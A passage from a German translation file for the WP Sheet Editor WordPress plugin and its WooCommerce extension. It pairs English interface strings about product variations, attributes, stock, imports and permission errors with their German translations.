them." msgstr "" "Wenn dies aktiviert ist, werden die Produktvarianten angezeigt, und du " "kannst sie bearbeiten." #: woocommerce/inc/variations.php:367 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:824 msgid "Variation description" msgstr "Beschreibung der Variante" #: woocommerce/inc/variations.php:378 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Variation enabled?" msgstr "Variante aktiviert?" #: woocommerce/inc/variations.php:395 woocommerce/inc/variations.php:397 #: woocommerce/inc/variations.php:399 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:861 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:863 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:865 msgid "Default attributes" msgstr "Standard-Attribute" #: woocommerce/inc/variations.php:400 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Eigenschaften erscheinen als Dropdowns auf der Produktseite, wo der Benutzer " "die unterschiedlichen Farben, Größen und jedes Attribut auswählen kann. Hier " "kannst du die in den Dropdown-Listen ausgewählten Standardoptionen " "definieren.
                  Separate Werte mit dem Zeichen %s
                  . Dies funktioniert nur " "für variable Produkte und muss Variationen haben, sonst werden die " "Standardattribute nicht gespeichert." #: woocommerce/inc/variations.php:812 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:139 msgid "Variation: %s" msgstr "Variante: %s" #: woocommerce/inc/variations.php:865 msgid "The source product doesn't have variations." msgstr "Das Ausgangsprodukt hat keine Varianten." #: woocommerce/inc/variations.php:1049 wp-sheet-editor/dev/inc/ajax.php:138 msgid "Request not allowed. Try again later." msgstr "Anfrage nicht erlaubt. Versuch es später noch einmal." #: woocommerce/inc/variations.php:1091 woocommerce/inc/variations.php:1180 msgid "%s variations created." msgstr "%s Variationen erstellt." #: woocommerce/inc/variations.php:1100 msgid "Target products not found." msgstr "Zielprodukte nicht gefunden." #: woocommerce/inc/variations.php:1195 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "Die Möglichkeit, Varianten für jede Kombination von Attributen zu erstellen, " "erfordert WooCommerce 3.0 oder höher. Bitte aktualisiere WooCommerce." #: woocommerce/inc/variations.php:1199 msgid "User not allowed" msgstr "Benutzer nicht erlaubt" #: woocommerce/inc/variations.php:1203 msgid "Data missing, try again later." msgstr "Daten fehlen, versuch es später noch einmal." #: woocommerce/inc/variations.php:1220 msgid "Wrong product type. Make sure it is a variable product." msgstr "" "Falscher Produkttyp. Stell sicher, dass es sich um ein variables Produkt " "handelt." #: woocommerce/inc/variations.php:1333 msgid "Please select a source product." msgstr "Bitte wähle ein Quellprodukt aus." #: woocommerce/inc/variations.php:1481 msgid "Error on row ID: %d - %s" msgstr "Fehler an Zeilen-ID: %d - %s" #: woocommerce/inc/variations.php:1488 msgid "Please correct the error and save again." msgstr "Bitte korrigiere den Fehler und speichere erneut." #: woocommerce/views/spreadsheet-create-variations-modal.php:7 msgid "Variations Manager" msgstr "Varianten-Manager" #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:14 msgid "Copy variations" msgstr "Varianten kopieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:15 #: woocommerce/views/spreadsheet-create-variations-modal.php:70 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:19 msgid "Copy variations and attributes from this product:" msgstr "Varianten und Attribute dieses Produkts kopieren:" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 msgid "I don't want to copy all the variations" msgstr "Ich möchte nicht alle Varianten kopieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Standardmäßig kopieren wir alle Attribute und alle Variationen und ersetzen " "die vorhandenen Variationen. Du kannst diese Option aktivieren, um einzelne " "Varianten zu kopieren und an die vorhandenen Varianten des Zielproduktes " "anzuhängen." #: woocommerce/views/spreadsheet-create-variations-modal.php:30 msgid "Which variations do you want to copy?" msgstr "Welche Varianten möchtest du kopieren?" #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 msgid "The variations are for these products: " msgstr "Die Varianten gelten für diese Produkte: " #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 msgid "Copy the variations into these products." msgstr "Die Varianten in diese Produkte kopieren." #: woocommerce/views/spreadsheet-create-variations-modal.php:41 #: woocommerce/views/spreadsheet-create-variations-modal.php:77 msgid "Select individual products" msgstr "Einzelne Produkte auswählen" #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:78 msgid "Select all the products from a search" msgstr "Alle Produkte aus einer Suche auswählen" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 msgid "All the products in the store" msgstr "Alle Produkte im Geschäft" #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 msgid "I understand it will update the products from my search." msgstr "Ich weiß, dass die Produkte aus meiner Suche aktualisiert werden." #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Wenn du zum Beispiel mit dem Suchwerkzeug nach Beiträgen von Autor = Mark " "gesucht hast, werden wir nur Beiträge mit Autor Mark aktualisieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:52 msgid "Show advanced options " msgstr "Erweiterte Optionen anzeigen " #: woocommerce/views/spreadsheet-create-variations-modal.php:55 msgid "Use prices from simple product (parent) on the variations" msgstr "Preise vom einfachen Produkt (Elternteil) auf die Varianten anwenden" #: woocommerce/views/spreadsheet-create-variations-modal.php:55 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Du kannst einfache Produkte in variable Produkte umwandeln. Du kannst " "Varianten in ein einfaches Produkt kopieren und die Preise des einfachen " "Produkts bei den Varianten beibehalten." #: woocommerce/views/spreadsheet-create-variations-modal.php:59 msgid "Do not copy the variation images?" msgstr "Die Bilder der Varianten nicht kopieren?" #: woocommerce/views/spreadsheet-create-variations-modal.php:59 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Aktiviere diese Option, wenn du alle Daten der Variante mit Ausnahme des " "Variantenbildes kopieren möchtest." #: woocommerce/views/spreadsheet-create-variations-modal.php:79 msgid "All the variable products" msgstr "Alle variablen Produkte" #: woocommerce/views/spreadsheet-create-variations-modal.php:90 msgid "Create variations for every combination of attributes?" msgstr "Varianten für jede Kombination von Attributen erstellen?" #: woocommerce/views/spreadsheet-create-variations-modal.php:93 msgid "Create this number of variations" msgstr "Diese Anzahl von Varianten erstellen" #: woocommerce/views/spreadsheet-search-on-variation.php:2 msgid "Search on variations?" msgstr "Nach Varianten suchen?" #: woocommerce/views/spreadsheet-search-on-variation.php:2 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Alle Parameter werden für die Suche nach Variationen anstelle der " "Hauptprodukte verwendet." #: woocommerce/views/variation-metabox-shortcut.php:9 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Du kannst all diese Varianten ansehen und sie alle " "auf einmal in unserem Arbeitsblatt bearbeiten. Im Arbeitsblatt öffnen" #: woocommerce/woocommerce.php:179 msgid "Remove duplicates by sku (delete the latest)" msgstr "SKU-Duplikate entfernen (neuesten Artikel löschen)" #: woocommerce/woocommerce.php:187 msgid "Remove duplicates by sku (delete the oldest)" msgstr "SKU-Duplikate entfernen (ältesten Artikel löschen)" #: woocommerce/woocommerce.php:211 msgid "Copy regular price and decrease number" msgstr "Normalen Preis kopieren und Anzahl verringern" #: woocommerce/woocommerce.php:228 msgid "Copy regular price and decrease by percentage" msgstr "Normalen Preis kopieren und prozentual verringern" #: woocommerce/woocommerce.php:275 msgid "WooCommerce products" msgstr "WooCommerce-Produkte" #: woocommerce/woocommerce.php:280 msgid "Disable product inventory stats?" msgstr "Produktbestandsstatistiken deaktivieren?" #: woocommerce/woocommerce.php:281 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "Das Arbeitsblatt für WooCommerce-Produkte generiert automatisch " "Bestandseinheiten und Bestandspreisstatistiken und zeigt die Statistiken " "über dem Arbeitsblatt an. Dies kann die Ausführung des Blattes verlangsamen, " "wenn du mehrere tausend Produkte hast. Deaktiviere die Funktion, wenn das " "Arbeitsblatt zu langsam ist oder beim Laden von Zeilen Fehler auftreten." #: woocommerce/woocommerce.php:287 msgid "Use separate columns for images during export and import?" msgstr "Getrennte Spalten für Bilder beim Export und Import verwenden?" #: woocommerce/woocommerce.php:288 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Standardmäßig exportieren und importieren wir eine Spalte namens \"Bilder\", " "in der das Beitragsbild und Galeriebilder kombiniert sind. Aktiviere diese " "Option, um eine Spalte mit dem Beitragsbild und eine Spalte mit " "Galeriebildern zu exportieren und zu importieren" #: woocommerce/woocommerce.php:294 msgid "Product attributes not visible" msgstr "Nicht sichtbare Produktattribute" #: woocommerce/woocommerce.php:295 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords, enter multiple separated by comma. I.e. \"car, airplane\" would " "match \"Car model, Car marker, Expensive Airplane, airplanes\". This applies " "after editing a product in the spreadsheet cells." msgstr "" "Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT " "enthalten, als sichtbar. Gib mehrere durch Kommata getrennt ein. D.h. " "\"Auto, Flugzeug\" würde mit \"Automodell, Auto-Marker, teures Flugzeug, " "Flugzeuge\" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in " "den Zellen des Arbeitsblatts." #: woocommerce/woocommerce.php:300 msgid "Product attributes not used for variations" msgstr "Nicht für Varianten verwendete Produktattribute" #: woocommerce/woocommerce.php:301 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords, enter multiple separated by comma. I.e. \"car, " "airplane\" would match \"Car model, Car marker, Expensive Airplane, airplanes" "\". This applies after editing a product in the spreadsheet cells." msgstr "" "Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT " "enthalten, als für Varianten verwendet. Gib mehrere durch Kommata getrennt " "ein. D.h. \"Auto, Flugzeug\" würde mit \"Automodell, Auto-Marker, teures " "Flugzeug, Flugzeuge\" übereinstimmen. Dies gilt nach der Bearbeitung eines " "Produkts in den Zellen des Arbeitsblatts." #: woocommerce/woocommerce.php:306 msgid "Maximum number of variations per combination of attributes" msgstr "Maximale Anzahl von Varianten je Kombination von Attributen" #: woocommerce/woocommerce.php:307 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "Das Werkzeug \"Varianten erstellen\" ermöglicht es dir, Varianten auf der " "Grundlage der Kombination von Attributen zu erstellen. Die Standardgrenze " "liegt bei 200 Varianten, um deinen Server nicht zu überlasten. Du kannst das " "Limit hier erhöhen, wenn du mehr Varianten benötigst." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 msgid "Attribute %d name" msgstr "Eigenschaft %d Name" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 woocommerce/woocommerce.php:379 msgid "Attribute name" msgstr "Eigenschaft Name" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 msgid "Attribute %d value(s)" msgstr "Eigenschaft %d Wert(e)" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 woocommerce/woocommerce.php:381 msgid "Attribute value(s)" msgstr "Eigenschaft Wert(e)" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 msgid "Attribute %d visible" msgstr "Eigenschaft %d sichtbar" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 woocommerce/woocommerce.php:383 msgid "Attribute visibility" msgstr "Eigenschaft Sichtbarkeit" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 msgid "Attribute %d global" msgstr "Eigenschaft %d global" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 woocommerce/woocommerce.php:385 msgid "Is a global attribute?" msgstr "Ein globales Attribut?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 msgid "Attribute %d default" msgstr "Eigenschaft %d Standard" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 woocommerce/woocommerce.php:387 msgid "Default attribute" msgstr "Standard-Attribut" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 msgid "Download %d name" msgstr "%d Namen herunterladen" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 woocommerce/woocommerce.php:389 msgid "Download name" msgstr "Download Name" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 msgid "Download %d URL" msgstr "%d URL(s) herunterladen" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 woocommerce/woocommerce.php:391 msgid "Download URL" msgstr "Download URL" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 woocommerce/woocommerce.php:393 msgid "Import as meta data" msgstr "Als Metadaten importieren" #: woocommerce/woocommerce.php:375 wp-sheet-editor/dev/inc/ajax.php:324 msgid "Tags" msgstr "Tags" #: woocommerce/woocommerce.php:375 woocommerce/woocommerce.php:394 msgid "Tags (comma separated)" msgstr "Tags (kommagetrennt)" #: woocommerce/woocommerce.php:492 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Wir müssen die Zeilen des Arbeitsblatts neu laden, um die Varianten zu " "laden. Bitte speichere deine Änderungen zuerst, sonst gehen diese Änderungen " "verloren. Möchtest du jetzt neu laden?" #: woocommerce/woocommerce.php:493 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Wir müssen das Arbeitsblatt neu laden, um die Varianten zu entfernen. Bitte " "speichere deine Änderungen zuerst, sonst gehen diese Änderungen verloren. " "Möchtest du jetzt neu laden?" #: woocommerce/woocommerce.php:539 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:395 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:396 msgid "Short description" msgstr "Kurzbeschreibung" #: woocommerce/woocommerce.php:543 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:400 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:401 msgid "Enable reviews" msgstr "Bewertungen aktivieren" #: woocommerce/woocommerce.php:564 wp-sheet-editor/dev/inc/api/helpers.php:453 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:911 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:591 msgid "Vendor" msgstr "Verkäufer" #: woocommerce/woocommerce.php:604 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:432 msgid "Type" msgstr "Typ" #: woocommerce/woocommerce.php:613 msgid "Product gallery" msgstr "Produktgalerie" #: woocommerce/woocommerce.php:620 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:443 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Regulärer Preis" #: woocommerce/woocommerce.php:640 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Sonderpreis" #: woocommerce/woocommerce.php:650 msgid "Sale start date" msgstr "Angebots-Startdatum" #: woocommerce/woocommerce.php:661 msgid "Sale end date" msgstr "Angebots-Enddatum" #: woocommerce/woocommerce.php:671 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:528 msgid "Manage stock" msgstr "Lagerbestand verwalten" #: woocommerce/woocommerce.php:685 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:546 msgid "Stock status" msgstr "Lagerstatus" #: woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:564 msgid "Stock" msgstr "Lager" #: woocommerce/woocommerce.php:710 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:481 msgid "Weight" msgstr "Gewicht" #: woocommerce/woocommerce.php:717 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:493 msgid "Width" msgstr "Breite" #: woocommerce/woocommerce.php:724 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:505 msgid "Height" msgstr "Höhe" #: woocommerce/woocommerce.php:731 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:517 msgid "Length" msgstr "Länge" #: woocommerce/woocommerce.php:737 msgid "Cross-sells" msgstr "Cross-Selling" #: woocommerce/woocommerce.php:744 woocommerce/woocommerce.php:757 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Mehrere SKUs oder IDs eingeben, getrennt durch Kommata" #: woocommerce/woocommerce.php:750 msgid "Upsells" msgstr "Zusatzverkäufe" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:577 msgid "Visibility" msgstr "Sichtbarkeit" #: woocommerce/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:619 msgid "Virtual" msgstr "Virtuell" #: woocommerce/woocommerce.php:789 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:659 msgid "Sold individually" msgstr "Einzeln verkauft" #: woocommerce/woocommerce.php:801 msgid "Is featured?" msgstr "Empfohlen?" #: woocommerce/woocommerce.php:814 msgid "Backorders allowed?" msgstr "Lieferrückstand erlauben?" #: woocommerce/woocommerce.php:819 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:697 msgid "Do not allow" msgstr "Nicht zulassen" #: woocommerce/woocommerce.php:820 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:698 msgid "Allow, but notify customer" msgstr "Zulassen, aber Kunde benachrichtigen" #: woocommerce/woocommerce.php:821 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:699 msgid "Allow" msgstr "Zulassen" #: woocommerce/woocommerce.php:830 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:711 msgid "Purchase note" msgstr "Hinweis zum Kauf" #: woocommerce/woocommerce.php:838 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Shipping class" msgstr "Versandklasse" #: woocommerce/woocommerce.php:846 msgid "Average rating" msgstr "Durchschnittliche Bewertung" #: woocommerce/woocommerce.php:852 msgid "Review count" msgstr "Anzahl der Bewertungen" #: woocommerce/woocommerce.php:858 msgid "Total sales" msgstr "Gesamtbetrag" #: wp-sheet-editor/dev/inc/ajax.php:21 wp-sheet-editor/dev/inc/ajax.php:40 #: wp-sheet-editor/dev/inc/api/helpers.php:504 msgid "You dont have enough permissions to do this action." msgstr "Du hast nicht genügend Berechtigungen, um diese Aktion durchzuführen." #: wp-sheet-editor/dev/inc/ajax.php:33 msgid "Rows deleted successfully" msgstr "Zeilen erfolgreich gelöscht" #: wp-sheet-editor/dev/inc/ajax.php:53 wp-sheet-editor/dev/inc/ajax.php:212 msgid "You dont have enough permissions to load rows." msgstr "Du hast nicht genügend Berechtigungen zum Laden von Zeilen." #: wp-sheet-editor/dev/inc/ajax.php:88 wp-sheet-editor/dev/inc/ajax.php:172 #: wp-sheet-editor/dev/inc/ajax.php:186 msgid "You dont have enough permissions to save changes." msgstr "Du hast nicht genügend Berechtigungen zum Speichern von Änderungen." #: wp-sheet-editor/dev/inc/ajax.php:101 msgid "Changes saved successfully" msgstr "Änderungen erfolgreich gespeichert" #: wp-sheet-editor/dev/inc/ajax.php:111 msgid "You dont have enough permissions to create new rows." msgstr "Du hast nicht genügend Berechtigungen, um neue Zeilen zu erstellen." #: wp-sheet-editor/dev/inc/ajax.php:152 msgid "No items found." msgstr "Keine Elemente gefunden." #: wp-sheet-editor/dev/inc/ajax.php:195 #: wp-sheet-editor/dev/inc/api/helpers.php:696 msgid "Error: %s" msgstr "Fehler: %s" #: wp-sheet-editor/dev/inc/ajax.php:201 msgid "Saved: %s" msgstr "Gespeichert: %s" #: wp-sheet-editor/dev/inc/ajax.php:252 wp-sheet-editor/dev/inc/ajax.php:272 msgid "You dont have enough permissions to search taxonomy terms." msgstr "" "Du hast nicht genügend Berechtigungen für die Suche nach Taxonomiebegriffen." #: wp-sheet-editor/dev/inc/ajax.php:301 msgid "No taxonomies found." msgstr "Keine Taxonomien gefunden." #: wp-sheet-editor/dev/inc/api/bootstrap.php:48 msgid "Error 8391. You dont have enough permissions to view this page." msgstr "" "Fehler 8391. Du hast nicht genügend Berechtigungen, um diese Seite " "anzuzeigen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:104 msgid "Open in a Spreadsheet" msgstr "In einem Arbeitsblatt öffnen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:129 #: wp-sheet-editor/dev/inc/api/columns.php:240 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "%s bearbeiten" #: wp-sheet-editor/dev/inc/api/bootstrap.php:195 #: wp-sheet-editor/dev/views/support-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:121 msgid "Help" msgstr "Hilfe" #: wp-sheet-editor/dev/inc/api/bootstrap.php:204 #: wp-sheet-editor/dev/views/whats-new.php:46 #: wp-sheet-editor/dev/wp-sheet-editor.php:925 msgid "Extensions" msgstr "Erweiterungen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:225 msgid "Add new posts" msgstr "Neue Beiträge hinzufügen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:231 msgid "Load" msgstr "Laden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 msgid "Exit Full Screen" msgstr "Vollbildmodus verlassen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:245 msgid "Show cells as simple text" msgstr "Zellen als einfachen Text anzeigen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:248 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Standardmäßig werden Datumsangaben in einem Kalender angezeigt, Beitrags-" "Inhalte haben eine Texteditor-Option, Bilder werden als Vorschau angezeigt " "usw. Du kannst diese Option aktivieren, um alles als reinen Text anzuzeigen, " "und die gefällige Formatierung zu deaktivieren." #: wp-sheet-editor/dev/inc/api/bootstrap.php:255 msgid "Load more on scroll" msgstr "Mehr beim Scrollen laden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:258 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Wenn dies aktiviert ist, werden weitere Elemente am Ende des Arbeitsblatts " "geladen, wenn du das Ende der Seite erreichst" #: wp-sheet-editor/dev/inc/api/bootstrap.php:266 msgid "Scan DB to find fields" msgstr "DB durchsuchen, um Felder zu finden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:270 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Wir können die Datenbank durchsuchen, neue Felder finden und automatisch " "Spalten für die unterstützten Felder erstellen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 #: wp-sheet-editor/dev/inc/api/bootstrap.php:282 msgid "All changes saved." msgstr "Alle Änderungen gespeichert." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 msgid "Saving changes, don't close this page." msgstr "Änderungen werden gespeichert, diese Seite nicht schließen." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 msgid "Some changes are not saved yet." msgstr "Einige Änderungen sind noch nicht gespeichert." #: wp-sheet-editor/dev/inc/api/bootstrap.php:384 msgid "URL Slug" msgstr "URL-Slug" #: wp-sheet-editor/dev/inc/api/bootstrap.php:401 #: wp-sheet-editor/dev/inc/api/bootstrap.php:424 msgid "Content" msgstr "Inhalt" #: wp-sheet-editor/dev/inc/api/bootstrap.php:412 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Verwende diesen Editor nur zum Bearbeiten des Inhalts, andere Felder wie " "Tags und Kategorien sollten im Arbeitsblatt bearbeitet werden." #: wp-sheet-editor/dev/inc/api/bootstrap.php:443 msgid "WP Editor" msgstr "WP Editor" #: wp-sheet-editor/dev/inc/api/bootstrap.php:457 msgid "View" msgstr "Anzeigen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:481 msgid "Modified Date" msgstr "Datum geändert" #: wp-sheet-editor/dev/inc/api/bootstrap.php:509 msgid "Excerpt" msgstr "Auszug" #: wp-sheet-editor/dev/inc/api/bootstrap.php:521 msgid "Delete completely" msgstr "Vollständig löschen" #: wp-sheet-editor/dev/inc/api/bootstrap.php:540 msgid "Comments" msgstr "Kommentare" #: wp-sheet-editor/dev/inc/api/bootstrap.php:561 msgid "Page Parent" msgstr "Übergeordnete Seite" #: wp-sheet-editor/dev/inc/api/bootstrap.php:572 msgid "Order" msgstr "Bestellung" #: wp-sheet-editor/dev/inc/api/bootstrap.php:618 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr "" ". Füge untergeordnete Kategorien in diesem Format hinzu: Hauptkategorie > " "Unterkategorie1 > Unterkategorie2" #: wp-sheet-editor/dev/inc/api/bootstrap.php:625 msgid "Enter multiple terms separated by commas" msgstr "Mehrere Begriffe eingeben, getrennt durch Kommata" #: wp-sheet-editor/dev/inc/api/bootstrap.php:646 msgid "Post type" msgstr "Beitragstyp" #: wp-sheet-editor/dev/inc/api/bootstrap.php:664 msgid "Password" msgstr "Passwort" #: wp-sheet-editor/dev/inc/api/editor.php:47 msgid "Please select at least one column to import" msgstr "Bitte wähle mindestens eine Spalte zum Importieren aus" #: wp-sheet-editor/dev/inc/api/editor.php:48 msgid "Show column key" msgstr "Spaltenschlüssel anzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:49 msgid "Click here to show all columns again" msgstr "Klick hier, um wieder alle Spalten anzuzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:50 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds)." "
                  2- You can start a new import, sometimes trying again works (use the " "\"advanced settings\" in the step 1 of the import to start from a specific " "row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying " "with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "Die letzte Importverarbeitung ist aufgrund eines Serverfehlers " "fehlgeschlagen, wahrscheinlich war der Server überlastet.
                  1- Du kannst " "versuchen, je Zyklus
                  weniger Zeilen zu " "importieren (d.h. importiere 2 Zeilen alle paar Sekunden).
                  2- Du " "kannst einen neuen Import starten, manchmal funktioniert ein erneuter " "Versuch (verwende die \"erweiterten Einstellungen\" in Schritt 1 des " "Imports, um von einer bestimmten Zeile aus zu beginnen).
                  3- Du kannst den " "PHP-Speicher erhöhen (folge diesem " "Tutorial)
                  4 - Wenn das Problem nach dem Versuch mit 1 Zeile je Zyklus " "auftritt, kannst du uns kontaktieren " "und wir werden das Problem für dich lösen" #: wp-sheet-editor/dev/inc/api/editor.php:51 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Dein Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Willst du " "es erneut versuchen? Du kannst es 3 mal versuchen. Schlagen 3 Versuche fehl, " "stoppen wir den Import vollständig." #: wp-sheet-editor/dev/inc/api/editor.php:52 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Bitte korrigiere den Fehler in der Datei, und starte einen neuen Import. Du " "kannst die \"Erweiterten Optionen\" im Schritt 1 des Imports verwenden, um " "von dieser speziellen Zeile aus zu beginnen." #: wp-sheet-editor/dev/inc/api/editor.php:53 msgid "

                  The import has finished

                  " msgstr "

                  Der Import ist abgeschlossen

                  " #: wp-sheet-editor/dev/inc/api/editor.php:54 msgid "

                  The process has finished

                  " msgstr "

                  Der Prozess ist abgeschlossen

